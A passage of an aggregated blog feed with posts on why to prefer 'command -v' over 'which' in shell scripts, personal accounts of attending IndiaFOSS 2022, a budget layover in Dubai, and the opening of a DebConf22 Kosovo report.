<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> /usr/bin/which.debianutils</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">/usr/bin/ls</span></span></code></pre>
<p>Both are the same programs. However, why is the output different? This is because <code>which</code> is apparently a shell built-in <code>zsh</code>, that is why:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> zsh</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">which</span><span style="color: light-dark(#032F62, #96D0FF);"> which</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">which</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> shell</span><span style="color: light-dark(#032F62, #96D0FF);"> built-in</span><span style="color: light-dark(#032F62, #96D0FF);"> command</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> bash</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">which</span><span style="color: light-dark(#032F62, #96D0FF);"> which</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">/usr/bin/which</span></span></code></pre>
<p>The inconsistency happens because <code>zsh</code> treats <code>which</code> as a shell built-in when it’s apparently not one.</p>
<p><a rel="external" href="https://lwn.net/Articles/874049/">This</a> article has some more details on why <code>which</code> is <em>bad</em> and how the Debian team is slowly deprecating it from being a part of debianutils anymore.</p>
<p>When I invoked <code>which</code> from inside a Nomad chroot, it complained that I didn’t have <code>/bin/sh</code> (because I was using a custom chroot mount). I started looking hard for alternatives because this silly utility already wasted too much of my time.</p>
<h2 id="what-to-use">What to use<a class="zola-anchor" href="#what-to-use" aria-label="Anchor link for: what-to-use">#</a></h2>
<p>Use <code>command -v</code>. It’s a shell built-in, so it avoids a dependency on an external binary (unlike <code>which</code>).</p>
<h3 id="usage-example">Usage example:<a class="zola-anchor" href="#usage-example" aria-label="Anchor link for: usage-example">#</a></h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span style="color: light-dark(#D73A49, #F47067);"> !</span><span style="color: light-dark(#005CC5, #6CB6FF);"> command</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> aws</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> /dev/null</span><span>;</span><span style="color: light-dark(#D73A49, #F47067);"> then</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Can&#39;t find &#39;aws&#39; executable. Aborted.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        exit</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">fi</span></span></code></pre><h2 id="references">References<a class="zola-anchor" href="#references" aria-label="Anchor link for: references">#</a></h2>
<p>I found the following posts while digging <code>which</code> and its alternatives.</p>
<ul>
<li><a rel="external" href="https://hynek.me/til/which-not-posix/">which-not-posix</a></li>
<li><a rel="external" href="https://unix.stackexchange.com/questions/85249/why-not-use-which-what-to-use-then">why-not-use-which-what-to-use-then</a></li>
</ul>
<p>Fin</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Attending IndiaFOSS 2022]]></title>
            <link>https://mrkaran.dev/posts/indiafoss-2022/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/indiafoss-2022/</guid>
            <pubDate>Sat, 06 Aug 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[On June 28, I received a text from Anand nudging me to submit a CFP for IndiaFOSS. Until then, I’d not planned to attend IndiaFOSS because travelling to participate in a conference didn’t seem enticing. However, the thought of visiting Bangalore (a city where I spent five years before Covid took the joy from our lives) stayed in my mind for the rest of the day. Call it serendipity or just that little external motivation by Anand; I decided to submit a proposal on Self Hosting with Nomad. IndiaFOSS would be the first physical conference I would attend after the pandemic. I love attending conferences because you get to meet and interact with many people (I somehow dislike the term “networking with people” because it’s heavily connoted with marketing/sales pitches).
IndiaFOSS is a v2 of a small pilot conference IndiaOS that happened in 2020. Around 650 people attended IndiaFOSS, and the execution scale was much bigger this time. IndiaFOSS is a 100% volunteer-driven conference, yet everything was quite professionally managed. My friend Dhiraj travelled from Chennai to attend the conference, and I hung out with him for most of the next two days.
Filling our tummies with a scrumptious breakfast of Thatte Idlis, we headed to attend the keynote by Rushabh, who gave an excellent overview of FOSS United and its journey so far. There were a series of exciting talks right after - especially by Kovid, a prolific FOSS contributor from India. Kovid’s software is widely used across the globe. He shared the story of how calibre evolved from a bunch of scripts written to get around Sony’s DRM to become the most sought-after ebook management tool that it is now. I’ve myself used calibre in one of my initial projects(back when I was still learning Python, please don’t judge that codebase). Next was the much-awaited interview of Rudra Saraswat - the 12-year-old whiz kid who’s a primary contributor to Ubuntu Unity Remix and many other projects. The entire auditorium was stunned to witness how this bright young kid manages his studies, extra-curricular and FOSS projects with a laser-sharp focus.
I spent some time reviewing my slides which were scheduled right after an excellent talk on hpw the Kubernetes release team works -  by Nabarun. I was pleasantly surprised to see many people interested in Self Hosting/Nomad. You can check out the slides here.
It was time for lunch, and I finally got to meet Vinayak, Bibhas, Gaurav and Raghav with whom I’ve been interacting in a small Discord group since so many months! This is what pandemic years took away from us, sigh!
After lunch, Kailash presented his fantastic talk on languages, dictionaries, and his FOSS project - dictpress. Kailash was anticipating that people would be drowsy after lunch, but I doubt anyone would want to miss this talk. He gave a glimpse of the monumental work done by Datuk KJ Joseph and V. Krishna in the field of dictionaries and how dictpress makes it easier for anyone to host a dictionary website for any language.
The rest of the day was spent hanging out in the lobby, meeting fellow hackers, and chit-chatting. I consider myself an introvert, but I guess with developers, I tend to speak up openly because we tend to ignore any small-talks :P. Rainy evenings and a weekend meant all the Peak Bengaluru memes about not finding cabs were experienced first-hand.
Day 2 had quite a good lineup of talks as well. Krutika shared the designer’s dilemma of contributing to FOSS Projects. Nemo talked about how we could get a FOSS UPI app and touched upon the openness of UPI. We even did an open space around Self Hosting where many of us self-hosted enthusiasts came together and discussed different topics/problems we encountered while self-hosting. It was my first time interacting with Abhas, who runs Deeproot Linux. He shared his wisdom and experiences from self-hosting email servers, media servers and just about anything. I was pretty motivated by his dedication.
The best part about IndiaFOSS was that this wasn’t a conference meant just for techies. The talks highlighted every domain of FOSS- policy, design, languages, and hardware rather than just keeping it limited to software. I was happy to see a conference not peddled with any “corporate” product talks. This is what all FOSS conferences should look like, I guess?
I look forward to attending (and hopefully volunteering) next year’s conference!

Fin]]></description>
            <content:encoded><![CDATA[<p>On June 28, I received a text from <a rel="external" href="https://anandology.com/">Anand</a> nudging me to submit a CFP for <a rel="external" href="https://indiafoss.net/">IndiaFOSS</a>. Until then, I’d not planned to attend IndiaFOSS because travelling to participate in a conference didn’t seem enticing. However, the thought of visiting Bangalore (a city where I spent five years before Covid took the joy from our lives) stayed in my mind for the rest of the day. Call it serendipity or just that little external motivation by Anand; I decided to <a rel="external" href="https://indiafoss.net/2022/cfp/submissions/self-hosting-applications-with-nomad">submit a proposal</a> on Self Hosting with Nomad. IndiaFOSS would be the first physical conference I would attend after the pandemic. I love attending conferences because you get to meet and interact with many people (I somehow dislike the term “networking with people” because it’s heavily connoted with marketing/sales pitches).</p>
<p>IndiaFOSS is a v2 of a small pilot conference <a rel="external" href="https://indiaos.in/">IndiaOS</a> that happened in 2020. Around 650 people attended IndiaFOSS, and the execution scale was much bigger this time. IndiaFOSS is a 100% volunteer-driven conference, yet everything was quite professionally managed. My friend <a rel="external" href="https://dhirajbalakrishnan.dev/">Dhiraj</a> travelled from Chennai to attend the conference, and I hung out with him for most of the next two days.</p>
<p>Filling our tummies with a scrumptious breakfast of <em>Thatte Idlis</em>, we headed to attend the keynote by <a rel="external" href="https://twitter.com/rushabh_mehta">Rushabh</a>, who gave an excellent overview of FOSS United and its journey so far. There were a series of exciting talks right after - especially by <a rel="external" href="https://kovidgoyal.net/">Kovid</a>, a prolific FOSS contributor from India. Kovid’s software is widely used across the globe. He shared the story of how <a rel="external" href="https://calibre-ebook.com/">calibre</a> evolved from a bunch of scripts written to get around Sony’s DRM to become the most sought-after ebook management tool that it is now. I’ve myself used calibre in one of my <a rel="external" href="https://github.com/mr-karan/webkin">initial projects</a>(back when I was still learning Python, please don’t judge that codebase). Next was the much-awaited interview of <a rel="external" href="https://about.ruds.io/">Rudra Saraswat</a> - the 12-year-old <em>whiz kid</em> who’s a primary contributor to Ubuntu Unity Remix and many other projects. The entire auditorium was stunned to witness how this bright young kid manages his studies, extra-curricular and FOSS projects with a laser-sharp focus.</p>
<p>I spent some time reviewing my slides which were scheduled right after an excellent talk on hpw the Kubernetes release team works -  by <a rel="external" href="https://nabarun.dev/">Nabarun</a>. I was pleasantly surprised to see many people interested in Self Hosting/Nomad. You can check out the slides <a rel="external" href="https://mrkaran.dev/talks/self-hosting-nomad-indiafoss.html">here</a>.</p>
<p>It was time for lunch, and I finally got to meet <a rel="external" href="https://www.vinayakhegde.com/">Vinayak</a>, <a rel="external" href="https://bibhasdn.com/">Bibhas</a>, <a rel="external" href="https://www.chaturvedi.me/">Gaurav</a> and <a rel="external" href="https://www.raghavmalawat.com/">Raghav</a> with whom I’ve been interacting in a small Discord group since so many months! This is what pandemic years took away from us, sigh!</p>
<p>After lunch, <a rel="external" href="https://nadh.in/">Kailash</a> presented his fantastic talk on languages, dictionaries, and his FOSS project - <a rel="external" href="https://github.com/knadh/dictpress">dictpress</a>. Kailash was anticipating that people would be drowsy after lunch, but I doubt anyone would want to miss this talk. He gave a glimpse of the monumental work done by Datuk KJ Joseph and V. Krishna in the field of dictionaries and how dictpress makes it easier for anyone to host a dictionary website for any language.</p>
<p>The rest of the day was spent hanging out in the lobby, meeting fellow <em>hackers</em>, and chit-chatting. I consider myself an introvert, but I guess with developers, I tend to speak up openly because we tend to ignore any small-talks :P. Rainy evenings and a weekend meant all the <em>Peak Bengaluru</em> memes about not finding cabs were experienced first-hand.</p>
<p>Day 2 had quite a good lineup of talks as well. <a rel="external" href="https://twitter.com/KThakkannavar">Krutika</a> shared the designer’s dilemma of contributing to FOSS Projects. <a rel="external" href="https://captnemo.in/">Nemo</a> talked about how we could get a FOSS UPI app and touched upon the openness of UPI. We even did an open space around Self Hosting where many of us self-hosted enthusiasts came together and discussed different topics/problems we encountered while self-hosting. It was my first time interacting with <a rel="external" href="https://abhas.io/">Abhas</a>, who runs <a rel="external" href="https://deeproot.in/">Deeproot Linux</a>. He shared his wisdom and experiences from self-hosting email servers, media servers and just about anything. I was pretty motivated by his dedication.</p>
<hr />
<p>The best part about IndiaFOSS was that this wasn’t a conference meant just for techies. The talks highlighted every domain of FOSS- policy, design, languages, and hardware rather than just keeping it limited to software. I was happy to see a conference not peddled with any “corporate” product talks. This is what all FOSS conferences should look like, I guess?</p>
<p>I look forward to attending (and hopefully volunteering) next year’s conference!</p>
<p><img src="https://mrkaran.dev/images/indiafoss_2022.jpeg" alt="image" /></p>
<p>Fin</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Reflections on IndiaFOSS 2.0]]></title>
            <link>https://nadh.in/blog/reflections-on-indiafoss-2022/</link>
            <guid isPermaLink="false">https://nadh.in/blog/reflections-on-indiafoss-2022/</guid>
            <pubDate>Mon, 01 Aug 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[IndiaFOSS 2.0[1], the second edition of the conference organised by the FOSS United Foundation, of which I am a part of, was held in Bengaluru on the 23rd and 24th of July. Previously named IndiaOS, the first edition that ran in January 2020 was an experiment that turned out to be a small, nice gathering of ~100 people in a small hall in a corner of JP Nagar, a residential area in South Bengaluru. There were talks, discussions, and food. It was nice. The conference was meant to be a yearly affair, which the COVID fiasco stalled, like a billion other human affairs.]]></description>
            <content:encoded><![CDATA[<p><em>IndiaFOSS 2.0</em><sup><a href="https://indiafoss.net">[1]</a></sup>, the second edition of the conference organised by the FOSS United Foundation, of which I am a part of, was held in Bengaluru on the 23rd and 24th of July. Previously named <em>IndiaOS</em>, the first edition that ran in January 2020 was an experiment that turned out to be a small, nice gathering of ~100 people in a small hall in a corner of JP Nagar, a residential area in South Bengaluru. There were talks, discussions, and food. It was nice. The conference was meant to be a yearly affair, which the COVID fiasco stalled, like a billion other human affairs.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[A budget layover in Dubai]]></title>
            <link>https://ravidwivedi.in/posts/layover-in-dubai/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/layover-in-dubai/</guid>
            <pubDate>Sun, 31 Jul 2022 07:49:11 GMT</pubDate>
            <description><![CDATA[A few days ago, I had a layover in Dubai while returning from a fun DebConf in Kosovo. The layover was a bit longer than 24 hours. I was joined by my friend Abraham Raji, who had to go to Kochi, and had a layover of around 22 hours.
Since my layover was longer than 24 hours, I needed a transit visa for boarding my Dubai to Delhi flight. For layovers less than 24 hours, the transit visa was not a requirement for boarding the next flight. Note that you just need to fill a form online to obtain a transit visa for UAE. Since my travel agent booked the flights, they took care of the transit visa on my behalf for a fee of 2,000 INR.
My flight from Tirana landed at the Terminal 2 of the Dubai airport at around 21:30 local time. Since I had a transit visa, my plan was to roam around in Dubai and return to the airport to catch my connecting flight. Therefore, I went through immigration. The officer had a lok at my visa and stamped the UAE entry stamp on my passport. Then I went through customs and came out at the Arrivals section of the airport, where I took a seat. It was around 22:00 hours local time.
The airline handed over my checked-in luggage - a heavy trolley bag - at the Dubai airport even though my connecting flight was with the same airline FlyDubai. Perhaps, it was because my layover was more than 24 hours long. The airline staff at Tirana only issued my boarding pass till Dubai. However, Abraham got his boarding passes till Kochi and he would get his luggage directly in Kochi.
I asked around but couldn’t find any cloak rooms to put my luggage. Soon Abraham joined me and I got to know he also has plans to roam around in the city.
At the airport, Abraham met a person whom he was talking in Malayalam. That person recommended that we withdraw at least 200 dirhams or AED (around 4,000 INR) in cash from ATM in order to roam around the city. Therefore, I withdrew 200 AED in cash.

      
Dirham notes of denominations 10, 20, 50, 100.
We planned to spend the night at the airport and roam around in the city in the morning. We didn’t book a hotel and instead planned to sleep on the benches in the arrivals. I was hungry as I didn’t have lunch in my Tirana to Dubai flight, due to the lack of lacto-ovo vegetarian options on the flight. Therefore, I took a banana from the Costa Coffee shop located next to where we were sitting for 6 AED (equivalent to 120 rupees).
Unable to sleep, we came out of the airport in search of a place to eat. It was midnight and all the shops were closed. We were suggested by someone to check whether the McDonald’s inside the departures section was open. I was not sure whether we can just go inside the departures, as this is not allowed at Indian airports, unless you are catching a flight.
We met a lot of Indians and we asked where can we go for dining. One of them claimed that a restaurant near the Al-Qiyada metro station should be open. We walked 2 kilometers to reach that metro station. However, the restaurant wasn’t open, and so we had to return with disappointment. Abraham and I made some interesting conversations on the way to pass the time. I was starving at this point.
While returning to the Arrivals, we saw a restaurant open on the way. The name of the restaurant was ‘Food Castle Express’. It was located within 1 km of the Arrivals.

      
A photo of the Food Castle Express restaurant where we had a filling meal.
The restaurant had Indian food with reasonable prices. It was being run by people from Kerala and seemed to be a popular place among the airport staff. To give you an idea of prices, a plate of 3 Idlis was 5.5 AED (equivalent to 110 Indian Rupees), a cup of tea was 1 AED (20 Indian Rupees), a plate of Pav Bhaji was 8 AED (around 160 Indian Rupees), while Chicken Samosa, Aloo Samosa and Cheese Samosa, were 1.5 AED per piece, and Chicken Fried Rice was 12 AED.
I took the following:
Item
Price (AED)
Price (INR)




Idli (3 pcs)
5.5
110


1 Tea
1
20


Chhole Bhature
7.5
150


Total
14
280



We had this meal around 04:30 hours, and it kept me satiated literally for the whole day. Even though I was not in India, I was delighted to have Indian food. It is because we were having it after a long time because we were coming from Europe after a 3-week long stay, where every dish was bland.

      
A chhole bhature plate from the Food Castle Express restaurant
After having our meal, we went back to the Arrivals section to catch some sleep. Abraham took a nap on the benches, while I failed to get any. In the meanwhile, I found out that the water inside the washroom was too hot to even wash my face.
Dubai Airport had a very good Wi-Fi which was a lifesaver. I didn’t have a local SIM card, so this helped me a lot in contacting home and passing time. The Wi-Fi has free unlimited access. You just need to simply select the “DXB Free Wifi” option, and it connects without asking for a phone number or OTP.
Abraham had slept for a couple of hours on the benches and woke up by 09:00. At this time, we exited the airport and were looking for a bus to drop us at some metro station. We found out that we need a card to use the public transport (such as buses, trams, metro) in Dubai. This card is called the Nol card. In order to obtain one, we had to go to a metro station. There must be other ways to obtain that card, but we didn’t know any.
The nearest metro station was Abu Hail Metro station - 2 km walk from the airport - which we had to cover by walking. It was not exactly fun as Dubai has a hot desert climate and the temperature was around 40°C, with sand coming into our eyes. To add to his, we had a lot of luggage. The bus stops were air-conditioned and sheltered, so we took shelter in one of the them while walking towards the metro station.

      
A bus stop in Dubai.
At the Abu Hail metro station, we took the silver Nol card (one for each), which was 25 AED (500 INR) with 19 AED balance. We planned to go to Burj Khalifa from here.
The metro from Abu Hail to Burj Khalifa was 5 AED. It was much cheaper than taking a taxi which would have added 25 AED as the basic fare. We reached the Burj Khalifa metro station in 25 minutes, following by walking to reach there. While clicking pictures, we realized that fitting the whole Burj Khalifa in a single frame is difficult. After all, it is the tallest building in the world!

      
Me and Abraham with Burj Khalifa in the background
After roaming around a bit, we went to the Dubai Mall, which was walking distance from the Burj Khalifa. The strategy was to spend as much time as possible inside such buildings to avoid the onslaught by the harsh weather. Abraham had a meal in the mall, while I didn’t eat anything due to lack of vegetarian options.

      
Dubai Mall
We still had 14 AED left in our Nol card at this point. Further, there is no facility to return the card and get the balance refunded. Therefore,we wanted to spend that amount before leaving the city. So, we planned a tram ride which will spend almost all the card balance, cover the city and does not require walking outside of air-conditioning. To take the tram, we went to Sobha Realty Metro Station and walked towards the tram station.
The tram ride was nice. If you ride the Dubai tram, be careful to check in and check-out using the Nol card at the tram station, otherwise you could be fined. We saw the Dubai’s Marina area from the tram. The tram takes 3 AED regardless of the station you check out from. We deboarded at the same station where we took the tram.
From there, we took a metro from DMCC station and returned to Abu Hail metro station. We went to Food Castle Express. I didn’t find a good vegetarian option there, so I skipped eating there and just took a chai.

      
View from inside the tram
After this, we returned to the airport to catch our respective flights. We didn’t face any language problems in Dubai. English was widely spoken. Most of my conversations were in Hindi, as I met many Indians and Pakistanis who knew Hindi. In fact, Abraham was talking to people in Malayalam (which is more popular in Dubai than Hindi). Overall, people were very nice which made us feel like home.
We had a nice time in Dubai, even though it was tiring due to lack of sleep and harsh weather.]]></description>
            <content:encoded><![CDATA[<p>A few days ago, I had a layover in Dubai while returning from a fun DebConf in Kosovo. The layover was a bit longer than 24 hours. I was joined by my friend <a href="https://abrahamraji.in">Abraham Raji</a>, who had to go to Kochi, and had a layover of around 22 hours.</p>
<p>Since my layover was longer than 24 hours, I needed a transit visa for boarding my Dubai to Delhi flight. For layovers less than 24 hours, the transit visa was not a requirement for boarding the next flight. Note that you just need to fill a form online to obtain a transit visa for UAE. Since my travel agent booked the flights, they took care of the transit visa on my behalf for a fee of 2,000 INR.</p>
<p>My flight from Tirana landed at the Terminal 2 of the Dubai airport at around 21:30 local time. Since I had a transit visa, my plan was to roam around in Dubai and return to the airport to catch my connecting flight. Therefore, I went through immigration. The officer had a lok at my visa and stamped the UAE entry stamp on my passport. Then I went through customs and came out at the Arrivals section of the airport, where I took a seat. It was around 22:00 hours local time.</p>
<p>The airline handed over my checked-in luggage - a heavy trolley bag - at the Dubai airport even though my connecting flight was with the same airline FlyDubai. Perhaps, it was because my layover was more than 24 hours long. The airline staff at Tirana only issued my boarding pass till Dubai. However, Abraham got his boarding passes till Kochi and he would get his luggage directly in Kochi.</p>
<p>I asked around but couldn&rsquo;t find any cloak rooms to put my luggage. Soon Abraham joined me and I got to know he also has plans to roam around in the city.</p>
<p>At the airport, Abraham met a person whom he was talking in Malayalam. That person recommended that we withdraw at least 200 dirhams or AED (around 4,000 INR) in cash from ATM in order to roam around the city. Therefore, I withdrew 200 AED in cash.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/dirham-notes.avif"><img src="https://ravidwivedi.in/images/dubai/dirham-notes.avif"
    alt="Dirham notes of denominations 10, 20, 50, 100."></a><figcaption>
      <p>Dirham notes of denominations 10, 20, 50, 100.</p>
    </figcaption>
</figure>

<p>We planned to spend the night at the airport and roam around in the city in the morning. We didn’t book a hotel and instead planned to sleep on the benches in the arrivals. I was hungry as I didn&rsquo;t have lunch in my Tirana to Dubai flight, due to the lack of lacto-ovo vegetarian options on the flight. Therefore, I took a banana from the Costa Coffee shop located next to where we were sitting for 6 AED (equivalent to 120 rupees).</p>
<p>Unable to sleep, we came out of the airport in search of a place to eat. It was midnight and all the shops were closed. We were suggested by someone to check whether the McDonald&rsquo;s inside the departures section was open. I was not sure whether we can just go inside the departures, as this is not allowed at Indian airports, unless you are catching a flight.</p>
<p>We met a lot of Indians and we asked where can we go for dining. One of them claimed that a restaurant near the Al-Qiyada metro station should be open. We walked 2 kilometers to reach that metro station. However, the restaurant wasn&rsquo;t open, and so we had to return with disappointment. Abraham and I made some interesting conversations on the way to pass the time. I was starving at this point.</p>
<p>While returning to the Arrivals, we saw a restaurant open on the way. The name of the restaurant was &lsquo;Food Castle Express&rsquo;. It was located within 1 km of the Arrivals.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/food-castle-express-restaurant.avif"><img src="https://ravidwivedi.in/images/dubai/food-castle-express-restaurant.avif"
    alt="A restaurant with Food Castle Express written on the board"></a><figcaption>
      <p>A photo of the Food Castle Express restaurant where we had a filling meal.</p>
    </figcaption>
</figure>

<p>The restaurant had Indian food with reasonable prices. It was being run by people from Kerala and seemed to be a popular place among the airport staff. To give you an idea of prices, a plate of 3 Idlis was 5.5 AED (equivalent to 110 Indian Rupees), a cup of tea was 1 AED (20 Indian Rupees), a plate of Pav Bhaji was 8 AED (around 160 Indian Rupees), while Chicken Samosa, Aloo Samosa and Cheese Samosa, were 1.5 AED per piece, and Chicken Fried Rice was 12 AED.</p>
<p>I took the following:</p>
<table>
<thead>
<tr>
<th>Item</th>
<th style="text-align:right">Price (AED)</th>
<th style="text-align:right">Price (INR)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idli (3 pcs)</td>
<td style="text-align:right">5.5</td>
<td style="text-align:right">110</td>
</tr>
<tr>
<td>1 Tea</td>
<td style="text-align:right">1</td>
<td style="text-align:right">20</td>
</tr>
<tr>
<td>Chhole Bhature</td>
<td style="text-align:right">7.5</td>
<td style="text-align:right">150</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td style="text-align:right"><strong>14</strong></td>
<td style="text-align:right"><strong>280</strong></td>
</tr>
</tbody>
</table>
<p>We had this meal around 04:30 hours, and it kept me satiated literally for the whole day. Even though I was not in India, I was delighted to have Indian food. It is because we were having it after a long time because we were coming from Europe after a 3-week long stay, where every dish was bland.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/chhole-bhature.avif"><img src="https://ravidwivedi.in/images/dubai/chhole-bhature.avif"
    alt="Two bhatures with a serving of chickpeas"></a><figcaption>
      <p>A chhole bhature plate from the Food Castle Express restaurant</p>
    </figcaption>
</figure>

<p>After having our meal, we went back to the Arrivals section to catch some sleep. Abraham took a nap on the benches, while I failed to get any. In the meanwhile, I found out that the water inside the washroom was too hot to even wash my face.</p>
<p>Dubai Airport had a very good Wi-Fi which was a lifesaver. I didn&rsquo;t have a local SIM card, so this helped me a lot in contacting home and passing time. The Wi-Fi has free unlimited access. You just need to simply select the “DXB Free Wifi” option, and it connects without asking for a phone number or OTP.</p>
<p>Abraham had slept for a couple of hours on the benches and woke up by 09:00. At this time, we exited the airport and were looking for a bus to drop us at some metro station. We found out that we need a card to use the public transport (such as buses, trams, metro) in Dubai. This card is called the Nol card. In order to obtain one, we had to go to a metro station. There must be other ways to obtain that card, but we didn&rsquo;t know any.</p>
<p>The nearest metro station was Abu Hail Metro station - 2 km walk from the airport - which we had to cover by walking. It was not exactly fun as Dubai has a hot desert climate and the temperature was around 40°C, with sand coming into our eyes. To add to his, we had a lot of luggage. The bus stops were air-conditioned and sheltered, so we took shelter in one of the them while walking towards the metro station.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/bus-stop.avif"><img src="https://ravidwivedi.in/images/dubai/bus-stop.avif"
    alt="A bus stop in Dubai"></a><figcaption>
      <p>A bus stop in Dubai.</p>
    </figcaption>
</figure>

<p>At the Abu Hail metro station, we took the silver Nol card (one for each), which was 25 AED (500 INR) with 19 AED balance. We planned to go to Burj Khalifa from here.</p>
<p>The metro from Abu Hail to Burj Khalifa was 5 AED. It was much cheaper than taking a taxi which would have added 25 AED as the basic fare. We reached the Burj Khalifa metro station in 25 minutes, following by walking to reach there. While clicking pictures, we realized that fitting the whole Burj Khalifa in a single frame is difficult. After all, it is the tallest building in the world!</p>
<figure><a href="https://ravidwivedi.in/images/dubai/pic-with-abraham-at-burj-khalifa.avif"><img src="https://ravidwivedi.in/images/dubai/pic-with-abraham-at-burj-khalifa.avif"
    alt="Two people looking towards the viewer"></a><figcaption>
      <p>Me and Abraham with Burj Khalifa in the background</p>
    </figcaption>
</figure>

<p>After roaming around a bit, we went to the Dubai Mall, which was walking distance from the Burj Khalifa. The strategy was to spend as much time as possible inside such buildings to avoid the onslaught by the harsh weather. Abraham had a meal in the mall, while I didn’t eat anything due to lack of vegetarian options.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/dubai-mall.avif"><img src="https://ravidwivedi.in/images/dubai/dubai-mall.avif"
    alt="A building is shown with Dubai Mall written on it"></a><figcaption>
      <p>Dubai Mall</p>
    </figcaption>
</figure>

<p>We still had 14 AED left in our Nol card at this point. Further, there is no facility to return the card and get the balance refunded. Therefore,we wanted to spend that amount before leaving the city. So, we planned a tram ride which will spend almost all the card balance, cover the city and does not require walking outside of air-conditioning. To take the tram, we went to Sobha Realty Metro Station and walked towards the tram station.</p>
<p>The tram ride was nice. If you ride the Dubai tram, be careful to check in and check-out using the Nol card at the tram station, otherwise you could be fined. We saw the Dubai’s Marina area from the tram. The tram takes 3 AED regardless of the station you check out from. We deboarded at the same station where we took the tram.</p>
<p>From there, we took a metro from DMCC station and returned to Abu Hail metro station. We went to Food Castle Express. I didn&rsquo;t find a good vegetarian option there, so I skipped eating there and just took a chai.</p>
<figure><a href="https://ravidwivedi.in/images/dubai/tram-in-dubai.avif"><img src="https://ravidwivedi.in/images/dubai/tram-in-dubai.avif"
    alt="View from inside the tram"></a><figcaption>
      <p>View from inside the tram</p>
    </figcaption>
</figure>

<p>After this, we returned to the airport to catch our respective flights. We didn&rsquo;t face any language problems in Dubai. English was widely spoken. Most of my conversations were in Hindi, as I met many Indians and Pakistanis who knew Hindi. In fact, Abraham was talking to people in Malayalam (which is more popular in Dubai than Hindi). Overall, people were very nice which made us feel like home.</p>
<p>We had a nice time in Dubai, even though it was tiring due to lack of sleep and harsh weather.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[My Experience of attending DebConf22 in Kosovo]]></title>
            <link>https://ravidwivedi.in/posts/my-experience-attending-debconf22/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/my-experience-attending-debconf22/</guid>
            <pubDate>Mon, 25 Jul 2022 20:22:10 GMT</pubDate>
            <description><![CDATA[I just came out of what has been one of the most wonderful experiences of my life– DebConf in Kosovo. DebConf is the annual conference of Debian contributors from all around the world. This was my first time attending a DebConf ever, which presented a great opportunity for me to explore different cultures and food, along with making many new friends in the Debian community as it featured 210 attendees from 38 countries.

      
DebConf22 logo
I registered and applied for bursary which was accepted by the DebConf bursary team. I applied for the Kosovo visa and after a long frustrating process of getting the visa, reached the venue of DebConf on 10th July 2022, which I have already written in detail. Getting Kosovo visa was already a great feat before DebConf and I am highly grateful to the organizers for putting their sincere efforts. Without this, it would not have been possible for us Indians to attend the event.
The Venue
The DebConf venue was Innovation and Training Park in Prizren, Kosovo. As soon as we reached the ITP campus, our eyes were treated with beautiful views of mountains and blue sky in all directions. The natural beauty of the place was stunning. You take a random photo of this place and it will come off as beautiful. This is how good it was. The fact that the campus was a German military base till December 2019 spiced up many people’s interests in the history of the place and there were some discussions regarding this.
The city of Prizren has a bridge over the Lumbardhi river which also features in the DebConf 22 logo. The bridge is a must visit place in Prizren, in my opinion. There was also a castle, which had views of the beautiful city of Prizren, but I missed visiting it.
The DebCamp held from 10 July to 16 July 2022 and the DebConf happened from 17th-24th July 2022. Most of the people came at the time of DebConf and the DebCamp days did not had so many attendees. By the time DebConf started, I already got adjusted to the campus.
Food
